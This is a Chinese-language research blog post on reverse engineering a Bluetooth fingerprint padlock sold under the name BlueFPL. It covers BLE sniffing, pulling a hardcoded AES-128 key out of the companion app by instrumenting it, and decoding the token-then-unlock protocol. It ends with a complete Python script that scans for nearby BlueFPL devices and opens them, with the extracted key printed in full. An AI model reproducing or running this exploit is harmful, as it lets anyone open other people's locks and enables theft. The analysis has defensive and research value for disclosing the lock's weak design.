前言

今年西湖論劍的時候是一個藍牙題都沒做出來,之前復現xuanxuan師傅出的THUCTF硬件題的藍牙部分也沒完全弄懂,于是下定決心通過幾個設備來研究研究。

剛學pwn的時候,對宿舍樓下的小藍車就有所“垂涎”,一直在思考如何打(太可刑了)。

經過給小藍車app投資數次1.5米巨資過后,作為名義上的股東,我大概弄清楚了小藍車的鎖應該也是藍牙的(因為每次連它都讓我開藍牙233)。

為了避免下半輩子只能在幾平米的空間活動,我在某魚上淘到了一款藍牙鎖作為小藍車的平替。

這里簡單記錄一下研究的過程。

nRF藍牙抓包

首先需要解決的問題是獲取藍牙鎖的MAC地址,因為最后我們需要使用gatttool(后面會提到這個工具)直接通過MAC地址與藍牙鎖交互。

比較好用的是nRF這個軟件(蘋果手機可以用lightblue),能夠直接掃描查看周圍的藍牙設備。

但如果直接在生活區進行抓包干擾因素非常多:

于是我們跑到一個沒有其它設備的地方輕觸指紋區域,當亮起紅光的時候:

在nRF上就能看到設備名和MAC地址了:

可以看出設備名為BlueFPL,MAC地址為F0:45:DA:AA:F4:36。

藍牙掃描

初步掃描

通過樹莓派+藍牙適配器的組合

環境搭建詳見:[原創]基于樹莓派的藍牙調試環境搭建-智能設備-看雪論壇-安全社區|安全招聘|bbs.pediy.com (kanxue.com)

https://bbs.kanxue.com/thread-276615.htm

使用bluetoothctl的scan on功能,就能掃描出設備:

表示我們的藍牙調試環境沒有問題。

使用gatttool嘗試連接并使用primary看查所有service:

然后通過characteristics命令看查所有的特性:

其中handle是特性的句柄,char properties是特性的屬性值,char value handle是特性值的句柄,uuid是特性的標識。

雖然掃描出了service和characteristics,但我們還不能直觀的知道這些服務是用來干什么的,而且也沒法將特性和服務配對。

下面我們使用bettercap這一個強大的工具中的"ble.recon"模塊,進行深入的掃描和理解。

深入掃描

githu倉庫:https://github.com/bettercap/bettercap

個人認為倉庫給出的安裝教程非常的模糊,很多東西都沒有說清楚,所以這里簡單講講我是怎么安裝的。

環境:ubuntu或樹莓派4b 安裝:

(1)首先需要安裝go環境:

sudo apt install golang-go

(2)go“換源”:

echo "export GOPROXY=https://goproxy.io,direct" >> ~/.profile && source ~/.profile

(3)安裝依賴:

sudo apt install build-essential libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev libssl-dev libnl-3-dev libnl-genl-3-dev pkg-config

(4)安裝軟件包:

git clone https://github.com/bettercap/bettercap.git
cd bettercap
make build
sudo make install

然后輸入如下命令就能夠使用低功耗藍牙功能了:

sudo bettercap
ble.recon on

具體的用法可以參考官方手冊:https://www.bettercap.org/modules/ble/

對于我們剛才提到的需要,使用ble.enum就好啦:

可以發現,通過ble.enum,能夠形象地看出service所屬的characteristics以及它們的屬性。

接下來我們就可以通過藍牙嗅探,看看在開鎖的過程中涉及的服務和特征。

藍牙抓包

初步掃描

通過ubertooth one,我們嗅探到了如下的藍牙數據:

可以看出大致分為"Write Request"和"Handle Value Notification"兩類,我們各點開一個看看。

"Write Request":

"Handle Value Notification":

可以發現它們的handle分別是0x3和0x6,分別對應的是前面bettercap里獲取的UUID為36f5和36f6的特征,十分合理。

于是以后的抓包我們可以給出如下過濾(上面那張圖片這么規整已經是過濾過后了的):

(btatt.opcode == "Handle Value Notification" && btatt.handle == 0x6 ) || (btatt.opcode == "Write Request" && btatt.handle == 0x3)

多次嘗試抓包,發現value的值差別很大,猜測有所加密 那么下一步就要從安卓逆向的角度分析app里的加密模式和密鑰了。

思路二:從BUG日志中獲取藍牙HCI日志

實際上可能會出現很難抓到包的情況,所以這里提供第二種思路供大家嘗試:

嗅探是中間信道,很可能會受到干擾,于是我們嘗試從手機的藍牙日志里直接獲取和鎖的通信。

首先需要打開開發人員選項,一般的手機都是在"關于本機"的位置點擊多次版本號就可打開。

進入開發人員選項后,開啟"藍牙HCI信息收集日志"。

然后我們需要使用"adb"這個調試工具,連上手機,然后dump下BUG日志。

解壓這個zip文件,在解壓目錄下會生成同名的一個txt文件:

把它拖到Ubuntu里面(不知道為啥,在我的windows上會有問題),然后下載一個叫btsnooz.py的腳本并把它放在和這個文本文件同目錄下,執行如下命令:

LC_CTYPE=C sed -n "/BEGIN:BTSNOOP_LOG_SUMMARY/,/END:BTSNOOP_LOG_SUMMARY/p " bugreport-ASK-AL00x-HONORASK-AL00x-2023-04-03-08-31-01.txt | egrep -av "BTSNOOP_LOG_SUMMARY" | python btsnooz.py > hci.log

(ps:為什么命令會和官方的教程有點不太一樣,因為產生了如下的報錯和解決辦法)

然后就得到了能夠用wireshark查看的藍牙日志"hci.log"了:

可以看到效果非常好,但是在筆者的手機上的數據會有一個問題,就是value顯示不全:

不知道是不是腳本對數據包有所切割,反正就感覺很離譜。

而且這種方法對我平時用的手機也不生效,甚至不能產生hci.log文件。

app逆向分析(初步)


將apk拖進JEB中,然后在Bytecode層級的com.nokelock.blelibrary.b.b里面能找到加密和解密的地方:

差別就是Ciper.init()的第一個參數,詢問一下chatgpt:

觀察類中的這兩個方法,都涉及兩個byte數組參數arg2,arg3:

arg2對應的是密文/明文,arg3對應的是密鑰。

具體的用Ciper類加密可以參考這一篇文章:Java使用Cipher類實現加密,包括DES,DES3,AES和RSA加密 - 蔡昭凱 - 博客園 (cnblogs.com)

https://www.cnblogs.com/caizhaokai/p/10944667.html

經過上面的分析,我們知道了加密算法是AES而且是ECB模式無padding,但是還不知道密鑰和密鑰長度。

接下來我們嘗試在apk里進行插樁,目的是打印密文/明文,密鑰來分析實際上開鎖的時候在apk中的數據。

app插樁

插樁過程

實際上插樁這步是勞煩oacia爺幫我做的,教程同步到了他的文章:[原創]對某apk的一次插樁記錄-Android安全-看雪論壇-安全社區|安全招聘|bbs.pediy.com (kanxue.com)

https://bbs.kanxue.com/thread-276708.htm

寫的非常好,這里就不再班門弄斧了。

可能唯一沒太講清楚會遇到問題的是,使用他給的smali進行插樁會和github上的項目會有一點點差別:

invoke-static {p0}, LSewellDinGLog;->Log([B)V


在最后插樁的時候,這里從object變成B類(字節數組)了,如果還是使用object類會有問題。

因為我們重寫的java源碼是對字節數組進行的操作,可以參考原來的apk里類似對字節數組的操作的smali代碼:

然后還有一個神奇的問題,就是在筆者的電腦上使用回編譯過后的apk,會缺少簽名、主SDK等等東西:

這種APK在我的手機上安裝不了,但雷電模擬器能裝(但先要使用這個工具對回編譯的APK進行簽名)。

于是我把雷電模擬器里的apk導出來,它的這些東西又變正常了:

非常神奇,然后順利成章的我的手機也能裝了。

插樁打印信息分析

通過adb工具,我們能夠連接安卓設備并且執行一些命令。

這里我們通過adb logcat命令來搜索SewellDinG查看插樁打印的信息:

F:\platform-tools>adb logcat -s SewellDinG
--------- beginning of main
03-27 17:18:08.895 31117 31117 D SewellDinG: 05010630303030303082E3C89616017D
03-27 17:18:08.895 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:08.895 31117 31117 D SewellDinG: 6629B62C88A7E50525E92C328AF258E6
03-27 17:18:10.114 31117 31117 D SewellDinG: 732F5CB22C06B0C2D0D17AD31D165805
03-27 17:18:10.114 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:10.114 31117 31117 D SewellDinG: 05020100E3C896010202000000000000
03-27 17:18:11.770 31117 31117 D SewellDinG: 530B1FCA1467A408A321E71F3D152127
03-27 17:18:11.771 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:11.772 31117 31117 D SewellDinG: 050D0100E3C896010202000000000000
03-27 17:18:37.864 31117 31117 D SewellDinG: 05010630303030303082E3C89601635C
03-27 17:18:37.864 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:37.864 31117 31117 D SewellDinG: 3FFA9BE0BA05D2ECC8CF74D2CDB7867C
03-27 17:18:39.263 31117 31117 D SewellDinG: 732F5CB22C06B0C2D0D17AD31D165805
03-27 17:18:39.263 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:39.263 31117 31117 D SewellDinG: 05020100E3C896010202000000000000
03-27 17:18:40.923 31117 31117 D SewellDinG: 530B1FCA1467A408A321E71F3D152127
03-27 17:18:40.923 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:40.924 31117 31117 D SewellDinG: 050D0100E3C896010202000000000000

解密

在插樁打印的信息中有兩個點值得我們注意:

(1)"241F632E5907042061014C1A3A45193B"這個字符串一直在重復,且一直處于一組數據的中部。

(2)出現了以"050D"、"0502"、"0501"開頭的后面不大一樣的疑似有規律的數據。

根據我們的插樁,一直處于中部的數據只可能是密鑰,那么"241F632E5907042061014C1A3A45193B"就是密鑰的某種形式。通過密鑰創建的方法"SecretKeySpec"的參數類型可以看出,這是密鑰的16進制字符串表示:

對chatgpt輸入如下指令即可自動生成解密腳本:

請用python實現一個密鑰的16進制字符表示形式是241F632E5907042061014C1A3A45193B的ECB模式無padding的AES-128解密程序,并以16進制字符串的形式輸出打印明文

解密腳本:

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.ciphers import Cipher
from cryptography.hazmat.primitives.ciphers.algorithms import AES
from cryptography.hazmat.primitives.ciphers.modes import ECB
from cryptography.hazmat.backends import default_backend
import binascii
# 轉換輸入的16進制字符串為字節串
key_hex = "241F632E5907042061014C1A3A45193B"
key = binascii.unhexlify(key_hex)
#key = b"[B@7ef20235"
# 創建 AES 密鑰
if len(key) == 16:  # 128 bit
    algorithm = algorithms.AES(key)
else:
    raise ValueError("Invalid key size")
# 創建解密器
backend = default_backend()
cipher = Cipher(algorithm, modes.ECB(), backend=backend)
decryptor = cipher.decryptor()
# 解密密文
#iv = "a20e10ec8ebfd6069c1f84a9cff39e33"
iv = "51653e25e098f5e74e0f152062ee6d5d"
encrypted_data = binascii.unhexlify(iv)
decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
# 打印解密結果
print(binascii.hexlify(decrypted_data))

運行結果:

對我們之前的wireshark里的數據都進行解密,然后把結果用XLS表示出來:

在app里的com.nokelock.blelibrary.mode.order可以發現和"Write Request"解密出來的頭4個字符有關的enum:

添加到表格中:

發現有一個特別令我們欣喜的東西——"OPEN_LOCK"

是否意味著我們把這個value的值通過藍牙工具發到鎖中鎖就開了?

答案是否定的,這個value以及它解出來的text是會變的,這一點比照前面adb打印插樁的同樣的"0501"開頭的數據就知道。所以我們還需要知道怎么獲得這個"變"的東西。

值得注意的是,同樣在這個地方有個"GET_TOKEN"字樣:

猜測變化的值和這里有關。

至于有沒有和"Handle Value Notification"有關的類似的enum,在com.nokelock.blelibrary.mode.a里找到了這個:

不難看出,這里的代碼應該是app接收到藍牙鎖返回的"Handle Value Notification"的value,將它解密過后根據前4個字符去執行對應的功能。而且根據"0202"這個分支里的具體內容已經能大致猜測這里響應的內容是什么了——電池電量,因為有個(v1<=100)的判斷,然后對v3這個bool變量賦值判斷是否合法。

再結合之前的"0201"為"GET_BATTERY",一切的說法都看上去合理了起來,我們甚至已經能根據前面的數據,推測響應的時候電池電量為54

但這個說法還有待驗證,以及我們還不知道"v0.a()"執行了什么操作,于是需要更深入的逆向。

app逆向(深入)

對于說法的驗證

首先為了驗證前面"發送過后獲取響應"的說法,逆向到了com.nokelock.blelibrary.BLEService:

看到了熟悉的兩個UUID,以及它們對應的Characteristic變量。

在下面能找到分別對這兩個Characteristic的操作:

從這里就已經能看出在藍牙通信的時候,app往UUID36f5寫入請求信息,然后藍牙鎖通過UUID36f6進行響應。

探究v0的操作

v0一開始是在這里定義的:

這個com.nokelock.blelibrary.a.a是一個抽象接口:

以v0.a()為例,如果我們想看它具體是怎么實現的,在JEB里點擊"a"就能直接查看了:

進入紅框的部分就能看到具體的實現了:

可以看到這里有個電池電量低于20就會打印"電量不足"的字樣,和使用app時候的情況一致。

猜測對于"GET_TOKEN"的響應也在這里面,但是不好直接找出TOKEN的值

于是我們去找"OPEN_LOCK"的地方,因為那里大概率會有響應的"TOKEN"。

探究"OPEN_LOCK"寫入了什么

在jadx里查找"OPEN_LOCK"這個字符串,定位到了這個地方:

紅框部分通過對"SET_B_ARRAY"的逆向,可以得到是:

(0x6,0x30,0x30,0x30,0x30,0x30,0x30)

對應了OPEN_LOCK解密的部分數據:06303030303030

其余數據能夠在父類TX_Order里看出來:

藍色部分是0501,綠色部分是剛才的那塊數據,紅色部分應該是Token,剩下的黃色部分使用隨機數進行填充。


響應的TOKEN


分析com.nokelock.blelibrary.b.d.a().b():

最后返回的其實是這里的字符數組:

"c2 == 0"對應的是它上面的一個地方:

結合之前的分析,就能知道GET_TOKEN的響應頭應該是"0602"了 那么接下來唯一需要解決的是發送的GET_TOKEN請求長什么樣子了。


如何GET_TOKEN


同樣通過查找字符串的手段,我們可以定位到這里:

和"OPEN_LOCK"不一樣的地方就是它重寫了a()這個方法,可以很容易分析出響應頭為"06010101"。

剩下的數據都是為了方便最后的加密進行的隨機數的填充。

那么發送未加密前是"06010101000000000000000000000000"的數據就能成功獲取TOKEN的值。

發送數據嘗試開鎖

通過上面有點長的分析,我們弄清楚了開鎖的重要流程(關于獲取電量這些無關緊要的在此不考慮):

(1)APP發送GET_TOKEN請求,鎖返回TOKEN

(2)APP根據鎖返回的TOKEN,執行開鎖命令

接下來我們通過Bluepy這個python的藍牙模塊嘗試發包開鎖

安裝Bluepy

github網址:IanHarvey/bluepy: Python interface to Bluetooth LE on Linux (github.com)

https://github.com/IanHarvey/bluepy

安裝依賴(使用python3環境):

sudo apt-get install python3-pip libglib2.0-dev

安裝模塊:

sudo pip3 install bluepy

如果上面兩步失敗,可以嘗試從源碼進行安裝:

sudo apt-get install git build-essential libglib2.0-dev
git clone https://github.com/IanHarvey/bluepy.git
cd bluepy
python setup.py build
sudo python setup.py install

Bluepy的基本使用

官方手冊:bluepy - a Bluetooth LE interface for Python — bluepy 0.9.11 documentation (ianharvey.github.io)

http://ianharvey.github.io/bluepy-doc/

Bluepy這個模塊采用了面向對象編程的思想,在具體操作的時候對設備、服務等等都抽象成了對象以便于操作。

掃描

通過Scanner生成一個對象進行掃描:

scanner = Scanner()
devices = scanner.scan(timeout=3)
print("%-30s %-10s" % ("Name", "Address"))
for dev in devices:
        print("%-30s %-20s" % (dev.getValueText(9), dev.addr))

建立連接

通過Peripheral函數建立連接

addr = ""
conn = Peripheral(addr)

獲取Service

services = conn.getServices() 
for svc in services:
    print(svc.uuid)

獲取Service

# 1. 獲取所有 Characteristic
characteristics = conn.getCharacteristics()
for charac in characteristics:   
    print(charac.uuid)
# 2. 獲取特定 Service 下的 Characteristic
characteristics = svc.getCharacteristics()

讀寫Characteristic

charac.read()             
charac.write()

嘗試開鎖

訂閱Notification

經過分析,我們知道36f6這個characteristic的屬性是notify。

對于notify屬性的characteristic,沒辦法直接讀和直接寫,需要先向UUID為"0x2902"的descriptor寫入"1"進行訂閱才能獲取所有notify屬性的characteristic的響應。

另外,我們寫一個類來獲取響應的handle和value:

class NotifyDelegate(DefaultDelegate):
    def __init__(self,params):
        DefaultDelegate.__init__(self)
    def handleNotification(self,cHandle,data):
        global TOKEN
        print("Notification from Handle: 0x" + format(cHandle,"02X"))
        TOKEN = decrypt(binascii.hexlify(data))
        print(TOKEN)

獲取token

通過等待響應即可獲取token:

    
while True:
        if conn.waitForNotifications(1.0):
            break
        print("Wating....")
        TX_CHAR.write(binascii.unhexlify(encrypt(pd)))

發包開鎖

對36f5寫入發包數據即可開鎖:

    pd = b"050106303030303030"+TOKEN+b"000000"
    TX_CHAR.write(binascii.unhexlify(encrypt(pd)))

完整代碼

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.ciphers import Cipher
from cryptography.hazmat.primitives.ciphers.algorithms import AES
from cryptography.hazmat.primitives.ciphers.modes import ECB
from cryptography.hazmat.backends import default_backend
import binascii
from bluepy.btle import Scanner,Peripheral,DefaultDelegate
KEY = "241F632E5907042061014C1A3A45193B"
TOKEN = ""
class NotifyDelegate(DefaultDelegate):
    def __init__(self,params):
        DefaultDelegate.__init__(self)
    def handleNotification(self,cHandle,data):
        global TOKEN
        print("Notification from Handle: 0x" + format(cHandle,"02X"))
        TOKEN = decrypt(binascii.hexlify(data))
        print(TOKEN)
def decrypt(plaintext):
    key = binascii.unhexlify(KEY)
    # 創建 AES 密鑰
    if len(key) == 16:  # 128 bit
        algorithm = algorithms.AES(key)
    else:
        raise ValueError("Invalid key size")
    # 創建解密器
    backend = default_backend()
    cipher = Cipher(algorithm, modes.ECB(), backend=backend)
    decryptor = cipher.decryptor()
    # 解密密文
    encrypted_data = binascii.unhexlify(plaintext)
    decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
    # 解密結果
    return binascii.hexlify(decrypted_data)
def encrypt(plaintext):
    # 將密鑰從16進制字符串轉換為字節數組
    key = binascii.unhexlify(KEY)
    # 創建AES加密器對象
    backend = default_backend()
    algorithm = algorithms.AES(key)
    cipher = Cipher(algorithm, modes.ECB(), backend=backend)
    encryptor = cipher.encryptor()
    # 對明文進行加密
    decrypted_data = binascii.unhexlify(plaintext)
    encrypted_data = encryptor.update(decrypted_data) + encryptor.finalize()
    # 將密文轉換為16進制字符串返回
    return binascii.hexlify(encrypted_data)
def done(addr):
    global TOKEN
    print("[+]Find BlueFPL")
    print("[+]Try Connecting.....")
    conn = Peripheral(addr)
    if conn:
        print("[+]Connecting successfully!")
        conn.withDelegate(NotifyDelegate(conn))
    else:
        print("[+]Fail to connet")
        exit(1)
    print("[+]Try find fee7")
    svc_uuid = "0000fee7-0000-1000-8000-00805f9b34fb"
    svc = conn.getServiceByUUID(svc_uuid)
    if svc :
        print("[+]Found fee7!")
    else :
        print("[+]fee7 not found")
        exit(1)
    print(svc.uuid)
    TX_CHAR = conn.getCharacteristics(uuid = "000036f5-0000-1000-8000-00805f9b34fb")[0]
    RX_CHAR = conn.getCharacteristics(uuid = "000036f6-0000-1000-8000-00805f9b34fb")[0]
    print("[+]Try GET_TOKEN")
    pd = "06010101000000000000000000000000"
    hEcg = RX_CHAR.getHandle()
    hEcgcc = 0
    for descriptor in conn.getDescriptors(hEcg,svc.hndEnd):
        if (descriptor.uuid == 0x2902):
            print("[+]Found descriptor handle")
            hEcgcc = descriptor.handle
    if hEcgcc == 0:
        print("Fail to find descriptor handle")
        exit(1)
    print("[+]Descriptor handle:"+str(hEcgcc))
    conn.writeCharacteristic(hEcgcc,bytes([1,0]))
    while True:
        if conn.waitForNotifications(1.0):
            break
        print("Wating....")
        TX_CHAR.write(binascii.unhexlify(encrypt(pd)))    
    TOKEN = TOKEN[6:14]
    print(b"[+]TOKEN:"+TOKEN)
    print("[+]Try OPEN_LOCK")
    pd = b"050106303030303030"+TOKEN+b"000000"
    TX_CHAR.write(binascii.unhexlify(encrypt(pd)))    
    print("[+]Open successfully!")
    conn.disconnect()
if __name__ == "__main__":
    scanner = Scanner()
    devices = scanner.scan(timeout = 3)
    for dev in devices:
        if dev.getValueText(9) and ("BlueFPL" in dev.getValueText(9)):
            done(dev.addr)

執行效果